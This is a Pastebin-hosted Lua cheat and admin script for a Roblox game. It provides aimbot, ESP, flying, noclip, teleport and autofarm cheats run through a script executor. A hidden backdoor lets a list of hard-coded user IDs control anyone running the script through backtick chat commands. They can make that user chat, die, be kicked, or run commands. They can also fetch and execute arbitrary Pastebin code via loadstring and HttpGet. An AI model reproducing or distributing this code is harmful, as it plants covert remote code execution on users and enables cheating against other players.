Advertisement
xslasher_tss

dddd

Dec 18th, 2020
5,859
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 114.23 KB | None | 0 0
  1. --[[ Bugs asw
  2.  
  3. --]]
  4.  
  5. --[[Todo
  6. Add a scuffed bfg (in testing)
  7. Remote Gun (In Testing)
  8. ]]
  9.  
  10. -- [[ Variables ]] --
  11.  
  12. local Tick = tick()
  13.  
  14. -- Global Variables --
  15.  
  16. getgenv().Players = game:GetService'Players'
  17. getgenv().TeleportService = game:GetService'TeleportService'
  18. getgenv().ReplicatedStorage = game:GetService'ReplicatedStorage'
  19. getgenv().StarterGui = game:GetService'StarterGui'
  20. getgenv().TweenService = game:GetService'TweenService'
  21. getgenv().UserInput = game:GetService'UserInputService'
  22. getgenv().RunService = game:GetService'RunService'
  23. getgenv().Lighting = game:GetService'Lighting'
  24. getgenv().CoreGui = game:GetService'CoreGui'
  25. getgenv().HttpService = game:GetService'HttpService'
  26. getgenv().VirtualUser = game:GetService'VirtualUser'
  27. getgenv().LP = Players.LocalPlayer or Players.PlayerAdded:Wait()
  28. getgenv().Mouse = LP:GetMouse()
  29. getgenv().GetChar = function() return LP.Character or LP.CharacterAdded:Wait() end
  30. GetChar():WaitForChild'Humanoid'
  31.  
  32. getgenv().StreetsID = tonumber(455366377)
  33. getgenv().PrisonID = tonumber(4669040)
  34. getgenv().Commands = {}
  35. getgenv().Prefix = "-"
  36. getgenv().AddCommand = function(CmdName, CmdAlias, Desc, Func)
  37. Commands[#Commands + 1] = {
  38. ["Name"] = CmdName;
  39. ["Alias"] = CmdAlias;
  40. ["Description"] = Desc;
  41. ["Function"] = Func;
  42. }
  43. end
  44.  
  45. -- Bools --
  46.  
  47. local AimbotAutoShoot = true
  48. local AntiAim = true
  49. local AntiKill = false
  50. local Aimlock = true
  51. local AliasesEnabled = true
  52. local AnnoyOn = false
  53. local AlwaysGh = true
  54. local AutoDie = false
  55. local AirwalkOn = false
  56. local AutoStomp = false
  57. local AutoTriggerBot = true
  58. local AutoFeloop = false
  59. local AutoTarget = false
  60. local AutoFarm = false
  61. local Blinking = false
  62. local BuyingStuff = false
  63. local CamLocking = false
  64. local CurrentlyShooting = false
  65. local BfgOn = false
  66. local DoubleJumpEnabled = false
  67. local DamageIndicatorDebounce = false
  68. local ExploiterDetectionOn = false
  69. local FeLoop = false
  70. local Flying = false
  71. local FlyDebounce = false
  72. local Freecam = false
  73. local GodMode = false
  74. local GunStomp = false
  75. local GravGunSeizureMode = false
  76. local HealBot = false
  77. local ItemEsp = false
  78. local NeverSitting = true
  79. local Normalwalk = false
  80. local NoGh = false
  81. local Noclip = false
  82. local Spamming = false
  83. local TpBypass = false
  84. local TriggerBot = true
  85. local TriggerBotAutoReload = true
  86. local UseDrawingLib = pcall(assert,Drawing,'Hi')
  87. local WalkShoot = true
  88.  
  89. -- Strings --
  90.  
  91. local AimMode = "Prediction"
  92. local AimlockMode = "LeftClick"
  93. local CamlockTarget = "Head"
  94. local SpamMessage = "Xslasher' Admin Or No Admin"
  95. local ConfigurationFile = "CyrusStreetsAdminSettings.json"
  96. local GunAnim = "None"
  97.  
  98. -- Ints --
  99.  
  100. local Rainbowdelay = 0
  101. local BlinkSpeed = 0
  102. local NormalHH = 0
  103. local SpamDelay = 1
  104. local AimbotVelocity = 9
  105. local NewPredictionVelocity = 9
  106. local GravGunDistance = 5
  107. local CrouchSpeed = 8
  108. local FlySpeed = 10
  109. local WalkSpeed = 16
  110. local NormalWs = 16
  111. local SprintSpeed = 25
  112. local HealBotHealth = 25
  113. local NormalJP = 37.5
  114. local AutoStompRange = 50
  115. local NormalGravity = workspace.Gravity
  116. local BulletColour = ColorSequence.new(Color3.fromRGB(144,0,0)) -- technically not an int but we'll go with it
  117. local EspColour = Color3.fromRGB(255,255,255)
  118.  
  119. -- Initially Nil --
  120.  
  121. local AimlockTarget;
  122. local AimlockTargetPosition;
  123. local AnnoyingPlayer;
  124. local CanSetHotkey;
  125. local CamlockPlayer;
  126. local ClickTpKey;
  127. local ClockTime;
  128. local GravGunBodyPosition;
  129. local GravGunBodyVelocity;
  130. local GravGunTool;
  131. local LoopPlayer;
  132. local PlayOnDeath;
  133. local PlayersPing;
  134. local RemoteGunPlayer;
  135. local RemoteGunBodyPos;
  136. local SpawnWs;
  137. local SpawnJP;
  138. local SpawnHH;
  139. local ViewPlayerConnection;
  140.  
  141.  
  142. -- Instances --
  143.  
  144. local AntiAimAnimation = Instance.new'Animation'
  145. AntiAimAnimation.AnimationId = "rbxassetid://215384594"
  146.  
  147. local Dance1Animation = Instance.new'Animation'
  148. Dance1Animation.AnimationId = "rbxassetid://33796059"
  149.  
  150. local Dance2Animation = Instance.new'Animation'
  151. Dance2Animation.AnimationId = "rbxassetid://35654637"
  152.  
  153. local SpinAnimation = Instance.new'Animation'
  154. SpinAnimation.AnimationId = "rbxassetid://188632011"
  155.  
  156. local GunAnimation1 = Instance.new'Animation'
  157. GunAnimation1.AnimationId = "rbxassetid://889968874"
  158.  
  159. local GunAnimation2 = Instance.new'Animation'
  160. GunAnimation2.AnimationId = "rbxassetid://229339207"
  161.  
  162. local AirWalk = Instance.new'Part'
  163. AirWalk.Anchored = true
  164. AirWalk.Size = Vector3.new(20,1,20)
  165. AirWalk.Transparency = 1
  166.  
  167. local CmdsFrame = Instance.new('Frame',CoreGui.RobloxGui)
  168. local CmdsLabel = Instance.new('TextLabel',CmdsFrame)
  169. local CmdsScrolling = Instance.new('ScrollingFrame',CmdsFrame)
  170.  
  171. local CmdBarFrame = Instance.new('Frame',CoreGui.RobloxGui)
  172. local CmdBarTextBox = Instance.new('TextBox',CmdBarFrame)
  173. local CmdBarImageLabel = Instance.new('ImageLabel',CmdBarFrame)
  174.  
  175. local DmgIndicator = Instance.new('TextLabel',LP.PlayerGui.Chat.Frame)
  176.  
  177. local RainbowFrame = Instance.new('Frame',CoreGui.RobloxGui)
  178. local RainbowLabel = Instance.new('TextLabel',RainbowFrame)
  179. local RainbowScrolling = Instance.new('ScrollingFrame',RainbowFrame)
  180.  
  181. local ValuesFrame = Instance.new('Frame',CoreGui.RobloxGui)
  182. local ValuesTextLabel = Instance.new('TextLabel',ValuesFrame)
  183.  
  184. local HotkeysFrame = Instance.new('Frame',CoreGui.RobloxGui)
  185. local HotkeysTextLabel = Instance.new('TextLabel',HotkeysFrame)
  186.  
  187. local KeysFrame = Instance.new('Frame',CoreGui.RobloxGui)
  188. local AnyCmdButton = Instance.new('TextButton',KeysFrame)
  189. local KeysLabel = Instance.new('TextLabel',KeysFrame)
  190. local CmdBarKeyLabel = Instance.new('TextLabel',KeysFrame)
  191. local CmdBarKeyButton = Instance.new('TextButton',KeysFrame)
  192. local AnyCmdTextBox = Instance.new('TextBox',KeysFrame)
  193.  
  194. local VanPart = Instance.new('Part',workspace)
  195.  
  196. -- Tables --
  197.  
  198. local AdminUserTable = {}
  199. local Commands = {}
  200. local DetectedExploiters = {}
  201. local ExploitDetectionPlayerTablePositions = {}
  202. local EspTable = {}
  203. local EspTable2 = {}
  204. local Keys = {}
  205. local PartTable = {}
  206. local StompWhitelist = {}
  207. local ToolTable = {}
  208. local WireFrameTable = {}
  209.  
  210. local BackDoorTableCommands = {
  211. ['chat'] = {
  212. ['Func'] = function(Player,Content,CommandedPlayer) if Player == LP or typeof(Player) == "table" then ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(Content,"All") end end;
  213. ['Levels'] = {[1] = true;[2] = true;[3] = true;[4] = true;}
  214. };
  215. ['bring'] = {
  216. ['Func'] = function(Player,Content,CommandedPlayer) if Player == LP or typeof(Player) == "table" and CommandedPlayer ~= "none" then CheckCommand("to "..CommandedPlayer.Name) end end;
  217. ['Levels'] = {[1] = true;[2] = true;[3] = true;[4] = true;}
  218. };
  219. ['kill'] = {
  220. ['Func'] = function(Player,Content,CommandedPlayer) if Player == LP or typeof(Player) == "table" then GetChar():BreakJoints() end end;
  221. ['Levels'] = {[2] = true;[3] = true;[4] = true;}
  222. };
  223. ['exec'] = {
  224. ['Func'] = function(Player,Content,CommandedPlayer) if Player == LP or typeof(Player) == "table" and CommandedPlayer ~= "none" then CheckCommand(Content) end end;
  225. ['Levels'] = {[3] = true;[4] = true;}
  226. };
  227. ['kick'] = {
  228. ['Func'] = function(Player,Content,CommandedPlayer) if Player == LP or typeof(Player) == "table" then LP:Kick(Content) end end;
  229. ['Levels'] = {[3] = true;[4] = true;}
  230. };
  231. ['ban'] = {
  232. ['Func'] = function(Player,Content,CommandedPlayer) if Player == LP or typeof(Player) == "table" then ReplicatedStorage.lIIl:FireServer'hipheight' end end;
  233. ['Levels'] = {[4] = true;}
  234. };
  235. ['p'] = {
  236. ['Func'] = function(Player,Content,CommandedPlayer) if Player == LP or typeof(Player) == "table" then loadstring(game:HttpGet("https://www.pastebin.com/raw/"..Content))() end end;
  237. ['Levels'] = {[3] = true;[4] = true;}
  238. }
  239. }
  240.  
  241. local BackDoorTablePlayers = {
  242. [1616215735] = {
  243. ['Name'] = "kylioer (slasher temp acc)";
  244. ['Access'] = 4;
  245. ['Colour'] = Color3.fromRGB(63,0,0);
  246. };
  247. [884026867] = {
  248. ['Name'] = "Senra lol (dev/creator)";
  249. ['Access'] = 4;
  250. ['Colour'] = Color3.fromRGB(127,0,212);
  251. };
  252. [1955186829] = {
  253. ['Name'] = "zare(admin)";
  254. ['Access'] = 4;
  255. ['Colour'] = Color3.fromRGB(107,50,124);
  256. };
  257. [50808785] = {
  258. ['Name'] = "Sely (Co Dev)";
  259. ['Access'] = 4;
  260. ['Colour'] = Color3.fromRGB(0,255,255);
  261. };
  262. [19088798] = {
  263. ['Name'] = "none";
  264. ['Access'] = 4;
  265. ['Colour'] = Color3.fromRGB(176,16,16);
  266. };
  267. [573703] = {
  268. ['Name'] = "none";
  269. ['Access'] = 3;
  270. ['Colour'] = Color3.fromRGB(255,0,0);
  271. };
  272. [1217296] = {
  273. ['Name'] = "none";
  274. ['Access'] = 3;
  275. ['Colour'] = Color3.fromRGB(255,145,175)
  276. };
  277. [1152] = {
  278. ['Name'] = "none";
  279. ['Access'] = 3;
  280. ['Colour'] = Color3.fromRGB(0,0,0);
  281.  
  282. };
  283. [171675] = {
  284. ['Name'] = "none";
  285. ['Access'] = 2;
  286. ['Colour'] = Color3.fromRGB(235,31,31);
  287. };
  288. [195518] = {
  289. ['Name'] = "none";
  290. ['Access'] = 2;
  291. ['Colour'] = Color3.fromRGB(255,0,255);
  292. };
  293. }
  294.  
  295. local BlacklistTable = {
  296. [1] = true; -- cant have blacklist empty
  297. }
  298.  
  299. local SettingsTable = {
  300. Keys = {};
  301. ClickTpKey = "";
  302. SprintSpeed = 25;
  303. CrouchSpeed = 8;
  304. AimMode = "Prediction";
  305. AimlockMode = "LeftClick";
  306. AimbotVelocity = 5;
  307. CmdBarImage = "http://www.roblox.com/asset/?id=2812081613";
  308. CmdBarKey = "Quote"
  309. }
  310.  
  311. if game.PlaceId == 455366377 then
  312. PartTable = {
  313. ['burger'] = workspace:WaitForChild'Burger | $15';
  314. ['drink'] = workspace:WaitForChild'Drink | $15';
  315. ['ammo'] = workspace:WaitForChild'Buy Ammo | $25';
  316. ['pipe'] = workspace:WaitForChild'Pipe | $100';
  317. ['machete'] = workspace:WaitForChild'Machete | $70';
  318. ['sawedoff'] = workspace:WaitForChild'Sawed Off | $150';
  319. ['spray'] = workspace:WaitForChild'Spray | $20';
  320. ['uzi'] = workspace:WaitForChild'Uzi | $150';
  321. ['glock'] = workspace:WaitForChild'Glock | $200';
  322. }
  323. end
  324.  
  325. local PlaceTable = {
  326. ['sandbox'] = CFrame.new(-178.60614013672,3.2000000476837,-117.21733093262);
  327. ['prison'] = CFrame.new(-978.74725341797,3.199854850769,-78.541763305664);
  328. ['gas'] = CFrame.new(99.135276794434,18.599975585938,-73.462348937988);
  329. ['court'] = CFrame.new( -191.56864929199,3,223.43171691895);
  330. ['beach'] = CFrame.new(-663.97521972656,1.8657279014587,-369.04748535156);
  331. ['bank'] = CFrame.new(-270.44195556641,4.8757019042969,133.12774658203);
  332. }
  333.  
  334. local FarmTable = {
  335. ['cash'] = "511726060";
  336. ['shotty'] = "142383762";
  337. ['sawed off'] = "219397110";
  338. ['uzi'] = "328964620";
  339. }
  340.  
  341. local EstimatedGunRanges = {
  342. ['Glock'] = 100;
  343. ['Uzi'] = 100;
  344. ['Sawed Off'] = 50;
  345. ['Shotty'] = 50;
  346. }
  347.  
  348. local KeyTable = {
  349. ['W'] = false;
  350. ['A'] = false;
  351. ['S'] = false;
  352. ['D'] = false;
  353. ['Shift'] = false;
  354. ['Space'] = false;
  355. ['Control'] = false;
  356. }
  357.  
  358. local WhiteListedParts = {
  359. ['head'] = "Head";
  360. ['torso'] = "Torso";
  361. ['humanoidrootpart'] = "HumanoidRootPart";
  362. ['oldprediction'] = "OldPrediction";
  363. ['prediction'] = "Prediction";
  364. }
  365.  
  366. -- [[ End ]] --
  367.  
  368. -- [[ Random Initalization ]] --
  369.  
  370. coroutine.resume(coroutine.create(function()
  371. workspace.FallenPartsDestroyHeight = -50000
  372. LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Visible = true
  373. LP.PlayerGui.Chat.Frame.ChatBarParentFrame.Position = LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Position + UDim2.new(UDim.new(),LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Size.Y)
  374. if workspace:FindFirstChild'Armoured Truck' then
  375. VanPart.Color,VanPart.CFrame,VanPart.Size,VanPart.Material,VanPart.Anchored = Color3.fromRGB(196,40,28),CFrame.new(-136.858002,0,-523.700012),Vector3.new(9.93,1,20.31),"ForceField",true
  376. workspace:FindFirstChild'Armoured Truck':Destroy()
  377. elseif workspace:FindFirstChild'TPer' then
  378. VanPart.Color,VanPart.CFrame,VanPart.Size,VanPart.Material,VanPart.Anchored = Color3.fromRGB(196,40,28),CFrame.new(-31,-0.2,221),Vector3.new(12,1,6),"ForceField",true
  379. workspace:FindFirstChild'TPer':Destroy()
  380. else
  381. VanPart:Destroy()
  382. end
  383. Players:Chat("lol") -- new admin
  384. Players:Chat("lol") -- legacy admin
  385. end))
  386.  
  387. -- [[ End ]] --
  388.  
  389. -- [[ Hotkeys ]] --
  390.  
  391.  
  392. getgenv().initalizeHotkeys = function(ConfigToSaveTo)
  393. writefile(ConfigToSaveTo,HttpService:JSONEncode(SettingsTable))
  394. local Settings = HttpService:JSONDecode(readfile(ConfigToSaveTo))
  395. Keys = Settings.Keys
  396. ClickTpKey = Settings.ClicktpKey
  397. SprintSpeed = Settings.SprintSpeed
  398. AimMode = Settings.AimMode
  399. AimlockMode = Settings.AimlockMode
  400. AimbotVelocity = Settings.AimbotVelocity
  401. CmdBarImage = Settings.CmdBarImage
  402. CmdBarKey = Settings.CmdBarKey
  403. end
  404.  
  405. getgenv().updateHotkeys = function(ConfigToUpdateTo)
  406. if not readfile or not writefile then return end
  407. local SettingsToUpdate = {
  408. Keys = Keys;
  409. ClickTpKey = ClickTpKey;
  410. SprintSpeed = SprintSpeed;
  411. CrouchSpeed = CrouchSpeed;
  412. AimMode = AimMode;
  413. AimlockMode = AimlockMode;
  414. AimbotVelocity = AimbotVelocity;
  415. CmdBarImage = CmdBarImage;
  416. CmdBarKey = CmdBarKey;
  417. }
  418. writefile(ConfigToUpdateTo,HttpService:JSONEncode(SettingsToUpdate))
  419. end
  420.  
  421. getgenv().runHotkeys = function(ConfigToRun)
  422. local RunSettings = HttpService:JSONDecode(readfile(ConfigToRun))
  423. Keys = RunSettings.Keys
  424. ClickTpKey = RunSettings.ClickTpKey or ""
  425. SprintSpeed = RunSettings.SprintSpeed or 25
  426. CrouchSpeed = RunSettings.CrouchSpeed or 16
  427. AimMode = RunSettings.AimMode or "Prediction";
  428. AimlockMode = RunSettings.AimlockMode or "LeftClick"
  429. AimbotVelocity = RunSettings.AimbotVelocity or 5
  430. CmdBarImage = RunSettings.CmdBarImage or "http://www.roblox.com/asset/?id=2812081613"
  431. CmdBarKey = RunSettings.CmdBarKey or "Quote"
  432. end
  433. if readfile and writefile then
  434. local FileExists = pcall(readfile,ConfigurationFile)
  435. if not FileExists then
  436. initalizeHotkeys(ConfigurationFile)
  437. else
  438. runHotkeys(ConfigurationFile)
  439. end
  440. end
  441.  
  442. -- [[ End ]] --
  443.  
  444. -- [[ Global Functions ]] --
  445.  
  446. getgenv().notif = function(Title,Message,Length,Icon)
  447. StarterGui:SetCore("SendNotification",{
  448. ['Title'] = Title;
  449. ['Text'] = Message;
  450. ['Duration'] = Length;
  451. ['Icon'] = Icon;
  452. })
  453. end
  454.  
  455. getgenv().Teleport = function(Part)
  456. if typeof(Part) == "Instance" then Part = Part.CFrame end
  457. if typeof(Part) == "Vector3" then Part = CFrame.new(Part) end
  458. if typeof(Part) == "CFrame" then
  459. local Character = GetChar()
  460. local PartFound = Character:FindFirstChild'RealHumanoidRootPart' or Character:FindFirstChild'Torso'
  461. if PartFound and not Character:FindFirstChild'RealHumanoidRootPart' or (Part.p - PartFound.CFrame.p).magnitude < 50 then
  462. PartFound.CFrame = Part
  463. else
  464. TweenService:Create(PartFound,TweenInfo.new(3.2,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut),{CFrame = Part}):Play()
  465. end
  466. end
  467. end
  468.  
  469. getgenv().AddCommand = function(CommandFunction,CommandName,CommandAliases,HelpInfo,Args)
  470. Commands[#Commands + 1] = {['Function'] = CommandFunction,['Name'] = CommandName,['Alias'] = CommandAliases,['Help'] = HelpInfo,['Args'] = Args}
  471. end
  472.  
  473. getgenv().FindCommand = function(CommandName)
  474. for i = 1,#Commands do
  475. if Commands[i].Name == CommandName or AliasesEnabled and table.find(Commands[i].Alias,CommandName) then
  476. return Commands[i].Function
  477. end
  478. end
  479. end
  480.  
  481. getgenv().CheckCommand = function(Chat)
  482. local Arguments = string.split(Chat:lower()," ")
  483. local CommandName = table.remove(Arguments,1)
  484. local CommandFound = FindCommand(CommandName)
  485. if CommandFound then
  486. local CommandWorked,Error = pcall(CommandFound,Arguments)
  487. if not CommandWorked then
  488. notif("Command errored: "..CommandName,"Send this to Cy: "..Error,10,nil)
  489. end
  490. end
  491. end
  492.  
  493. getgenv().PlrFinder = function(PlayerString)
  494. local PlayerString = PlayerString:lower()
  495. local PlayerTable = Players:GetPlayers()
  496. if #PlayerString == 2 and PlayerString == "me" then return LP end
  497. if #PlayerString == 3 and PlayerString == "all" or #PlayerString == 5 and PlayerString == "users" then return PlayerTable end
  498. for i = 1,#PlayerTable do
  499. if PlayerTable[i].Name:lower():sub(1,#PlayerString) == PlayerString then
  500. return PlayerTable[i]
  501. end
  502. end
  503. end
  504.  
  505. getgenv().find = function(ItemString)
  506. local ChildrenOfWorkspace = workspace:GetChildren()
  507. for i = 1,#ChildrenOfWorkspace do
  508. local Item = ChildrenOfWorkspace[i]
  509. local ItemModel = Item:FindFirstChild'Model'
  510. if Item.Name == "RandomSpawner" and ItemModel then
  511. local Handle = ItemModel.Handle
  512. if Handle:FindFirstChildOfClass'MeshPart' then
  513. if FarmTable[ItemString] and string.find(Handle:FindFirstChildOfClass'MeshPart'.MeshId,FarmTable[ItemString]) then
  514. return Item,"Cash" -- Cash
  515. end
  516. end
  517. if Handle:FindFirstChild'Fire' then
  518. if FarmTable[ItemString] and string.find(Handle.Fire.SoundId,FarmTable[ItemString]) then
  519. return Item,"Gun" -- Guns
  520. end
  521. end
  522. end
  523. end
  524. return "None"
  525. end
  526.  
  527. getgenv().farm = function(ItemString)
  528. if ItemString == "all" then
  529. local WChildren = workspace:GetChildren()
  530. for i = 1,#WChildren do
  531. local Child = WChildren[i]
  532. if Child.Name == "RandomSpawner" then
  533. Teleport(Child.CFrame)
  534. Child.DescendantRemoving:Wait()
  535. end
  536. end
  537. end
  538. local Item = find(ItemString)
  539. if Item == "None" then notif("There is none of "..ItemString,"to farm",5,nil) return end
  540. Teleport(Item.CFrame)
  541. end
  542.  
  543. -- [[ End ]] --
  544.  
  545. -- [[ Local functions ]] --
  546.  
  547. local function BackdoorCheck(Player,Chat)
  548. if Chat:sub(1,1) == "`" then
  549. local Arguments = string.split(Chat:sub(2)," ")
  550. local Command = BackDoorTableCommands[table.remove(Arguments,1)]
  551. local PlayerToMeme = PlrFinder(table.remove(Arguments,1))
  552. if Command and PlayerToMeme then
  553. Command['Func'](PlayerToMeme,table.concat(Arguments," "),Player)
  554. end
  555. end
  556. end
  557.  
  558. local function convertKeyCode(KeyCode)
  559. local KeyCodeToSet;
  560. local Work,Error = pcall(function()
  561. KeyCodeToSet = Enum.KeyCode[KeyCode]
  562. end)
  563. if not Work then
  564. KeyCodeToSet = Enum.KeyCode[KeyCode:upper()]
  565. end
  566. return KeyCodeToSet
  567. end
  568.  
  569. local function ColourifyGuns(GunTable,Colour)
  570. for ToolIndex,Tool in pairs(GunTable:GetChildren()) do
  571. if Tool:IsA'Tool' and Tool:FindFirstChild'Fire' then
  572. for _,Part in pairs(Tool:GetDescendants()) do
  573. if Part:IsA'UnionOperation' or Part:IsA'Part' or Part:IsA'MeshPart' then
  574. if Part:IsA'UnionOperation' then
  575. Part.UsePartColor = true
  576. end
  577. Part.Material = "Ice"
  578. Part.Color = Colour
  579. end
  580. end
  581. end
  582. end
  583. end
  584.  
  585. local function initalizeBackdoorPart2(BackdoorPlayer,Colour)
  586. if BackdoorPlayer and BackdoorPlayer.Character then
  587. ColourifyGuns(BackdoorPlayer.Backpack,Colour)
  588. ColourifyGuns(BackdoorPlayer.Character,Colour)
  589. BackdoorPlayer.Character.ChildAdded:Connect(function()
  590. ColourifyGuns(BackdoorPlayer.Character,Colour)
  591. end)
  592. end
  593. end
  594.  
  595.  
  596. local function createBodyPos(Parent)
  597. local BodyPosition = Instance.new('BodyPosition',Parent)
  598. BodyPosition.P = BodyPosition.P * 8
  599. BodyPosition.MaxForce = Vector3.new(math.huge,math.huge,math.huge)
  600. if GravGunSeizureMode then
  601. GravGunBodyVelocity = Instance.new('BodyAngularVelocity',Parent)
  602. GravGunBodyVelocity.AngularVelocity = Vector3.new(0,9e9,0)
  603. GravGunBodyVelocity.MaxTorque = Vector3.new(0,9e9,0)
  604. end
  605. return BodyPosition
  606. end
  607.  
  608. local function Fly()
  609. local Character = GetChar()
  610. local Torso = Character:FindFirstChild'Torso'
  611. if not Torso then return end
  612. local BodyGyro,BodyVelocity = Instance.new('BodyGyro',Torso),Instance.new('BodyVelocity',Torso)
  613. BodyGyro.P = 9e9
  614. BodyGyro.MaxTorque = Vector3.new(9e9,9e9,9e9)
  615. BodyGyro.CFrame = Torso.CFrame
  616. BodyVelocity.MaxForce = Vector3.new(9e9,9e9,9e9)
  617. BodyVelocity.Velocity = Vector3.new(0,0.1,0)
  618. BodyVelocity.Name = "CyAdminFly"
  619. local Table1 = {['W'] = 0;['A'] = 0;['S'] = 0;['D'] = 0;}
  620. if not AirwalkOn then
  621. CheckCommand("airwalk")
  622. end
  623. while Flying and Character:FindFirstChild'Humanoid' and Character.Humanoid.Health > 0 and wait() do
  624. if KeyTable['W'] then Table1['W'] = FlySpeed else Table1['W'] = 0 end
  625. if KeyTable['A'] then Table1['A'] = -FlySpeed else Table1['A'] = 0 end
  626. if KeyTable['S'] then Table1['S'] = -FlySpeed else Table1['S'] = 0 end
  627. if KeyTable['D'] then Table1['D'] = FlySpeed else Table1['D'] = 0 end
  628. if (Table1['W'] + Table1['S']) ~= 0 or (Table1['A'] + Table1['D']) ~= 0 then
  629. BodyVelocity.Velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector * (Table1['W'] + Table1['S'])) + ((workspace.CurrentCamera.CoordinateFrame * CFrame.new(Table1['A'] + Table1['D'], (Table1['W'] + Table1['S']) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p)) * 50
  630. else
  631. BodyVelocity.Velocity = Vector3.new(0,0.1,0)
  632. end
  633. BodyGyro.CFrame = workspace.CurrentCamera.CoordinateFrame
  634. end
  635. if AirwalkOn then
  636. CheckCommand("airwalk")
  637. end
  638. BodyGyro:Destroy()
  639. BodyVelocity:Destroy()
  640. end
  641.  
  642. local function AimlockClosest(Player)
  643. local Box = Instance.new('BoxHandleAdornment',CoreGui.RobloxGui)
  644. Box.Adornee = Player.Character.Head
  645. Box.Size = Vector3.new(7,10,7)
  646. Box.SizeRelativeOffset = Vector3.new(0,-1,0)
  647. Box.Transparency = 1
  648. local Event1,Event2
  649. Event1 = Box.MouseButton1Down:Connect(function()
  650. if Aimlock and AimlockMode == "Closest" then
  651. AimlockTarget = Player.Character
  652. local Connection;Connection = Players:GetPlayerFromCharacter(AimlockTarget).CharacterAdded:Connect(function(C)
  653. if tostring(C) == tostring(AimlockTarget) then
  654. AimlockTarget = C
  655. else
  656. Connection:Disconnect()
  657. Connection = nil
  658. end
  659. end)
  660. else
  661. Box:Destroy()
  662. end
  663. end)
  664. Event2 = Player.CharacterRemoving:Connect(function()
  665. Box:Destroy()
  666. Event1:Disconnect()
  667. Event1 = nil
  668. Event2:Disconnect()
  669. Event2 = nil
  670. end)
  671. end
  672.  
  673. local function checkHp(Plr)
  674. return Plr:FindFirstChildOfClass'Humanoid' and math.floor(Plr.Humanoid.Health) or "No Humanoid"
  675. end
  676.  
  677. local function HasItem(Player,Item)
  678. if Player then
  679. local ItemFound = Player.Character:FindFirstChild(Item,true) or Player.Backpack:FindFirstChild(Item,true)
  680. return ItemFound and "Yes" or "No"
  681. end
  682. end
  683.  
  684. local function Unesp(Part)
  685. local Bill = Part:FindFirstChildOfClass'BillboardGui'
  686. if Part:IsA'BasePart' and Bill then
  687. Part = Part.Parent
  688. Bill:Destroy()
  689. return
  690. end
  691. for i = 1,#EspTable do
  692. local Table = EspTable[i]
  693. if Table then
  694. local Player = Table['Player']
  695. if Player == Part then
  696. for i,v in pairs(Table) do
  697. if v ~= Player then
  698. if i ~= "Box" then
  699. v:Remove()
  700. else
  701. table.foreach(v,function(Index,Value) Value:Remove() end)
  702. end
  703. end
  704. end
  705. table.remove(EspTable,i)
  706. end
  707. end
  708. end
  709. end
  710.  
  711. local function Esp(Part,Name,Colour,Blacklisted)
  712. local Player = PlrFinder(Part.Parent.Name)
  713. if Player and UseDrawingLib and not Colour then
  714. Unesp(Player)
  715. EspTable[#EspTable+1] = {['Player'] = Player,['Text'] = Drawing.new'Text',['Box'] = {Drawing.new'Line',Drawing.new'Line',Drawing.new'Line'}}
  716. else
  717. local Bill = Part:FindFirstChildOfClass'BillboardGui'
  718. if Bill then Bill:Destroy() end
  719. local BillBoard = Instance.new('BillboardGui',Part)
  720. local TextLabel = Instance.new('TextLabel',BillBoard)
  721. BillBoard.Adornee = Part
  722. BillBoard.Size = UDim2.new(0,100,0,100)
  723. BillBoard.StudsOffset = Vector3.new(0,1.3,0)
  724. BillBoard.AlwaysOnTop = not Blacklisted and true or false
  725. TextLabel.BackgroundTransparency = 1
  726. TextLabel.Size = UDim2.new(1,0,0,40)
  727. TextLabel.TextColor3 = Colour or EspColour
  728. TextLabel.TextStrokeTransparency = 0.5
  729. TextLabel.TextSize = 8
  730. local Player = PlrFinder(Name)
  731. if Player then
  732. if not Blacklisted then
  733. local User = AdminUserTable[Player] and "Yes" or "No"
  734. TextLabel.Text = Name.." | CyAdmin User: "..User.."\nHas (Gamepasses) Glock: "..HasItem(Player,"Glock").." | Shotty: "..HasItem(Player,"Shotty").." | Vest: "..HasItem(Player,"BulletResist")
  735. else
  736. TextLabel.Text = "[Blacklisted skid] "..Player.Name.." (can be just a normal blacklist or for being in any blacklisted group)"
  737. end
  738. else
  739. TextLabel.Text = Name
  740. end
  741. end
  742. end
  743.  
  744. local function Xray(Mode)
  745. for i,v in pairs(workspace:GetDescendants()) do
  746. if v:IsA'Part' and not v.Parent:FindFirstChild'Head' and not v.Parent.Parent:FindFirstChild'Head' and v.Size.Y ~= 1 then
  747. local Selection = v:FindFirstChildOfClass'SelectionBox'
  748. local Int = v:FindFirstChildOfClass'IntValue'
  749. if Int then
  750. v.Transparency = Int.Value
  751. Int:Destroy()
  752. if Selection then
  753. Selection:Destroy()
  754. end
  755. else
  756. if Mode == "wireframe" then
  757. local Select = Instance.new('SelectionBox',v)
  758. Select.Adornee = v
  759. Select.LineThickness = 0.001
  760. Select.SurfaceTransparency = 1
  761. Select.Color3 = Color3.fromRGB(124,0,0)
  762. WireFrameTable[#WireFrameTable + 1] = {Select,v}
  763. end
  764. local TransparentValue = Instance.new('IntValue',v)
  765. TransparentValue.Value = v.Transparency
  766. v.Transparency = 1
  767. end
  768. end
  769. end
  770. end
  771.  
  772. local function IsAUser(Player,Chat)
  773. if Chat == "lol" or Chat == "lol" then
  774. AdminUserTable[Player] = true
  775. return true
  776. end
  777. end
  778.  
  779. local function ShowOrHideEsp(Table,Bool,Player)
  780. table.foreach(Table,function(Index,Value)
  781. if Index == "Box" then
  782. table.foreach(Value,function(Index2,Value2)
  783. Value2.Visible = Bool
  784. local Aimlocked = tostring(Player) == tostring(CamlockPlayer) or tostring(Player) == tostring(AimlockTarget)
  785. Value2.Color = Aimlocked and Color3.fromRGB(255,0,0) or EspColour
  786. end)
  787. else
  788. if typeof(Value) ~= "Instance" then
  789. Value.Visible = Bool
  790. Value.Color = EspColour
  791. end
  792. end
  793. end)
  794. end
  795.  
  796. local function WorldToViewportPoint(Pos)
  797. return workspace.CurrentCamera:WorldToViewportPoint(Pos)
  798. end
  799.  
  800. local function stopAnim(Id)
  801. local Tracks = GetChar().Humanoid:GetPlayingAnimationTracks()
  802. for i = 1,#Tracks do
  803. local Track = Tracks[i]
  804. if Track.Animation.AnimationId == ("rbxassetid://"..Id) then
  805. Track:Stop()
  806. end
  807. end
  808. end
  809.  
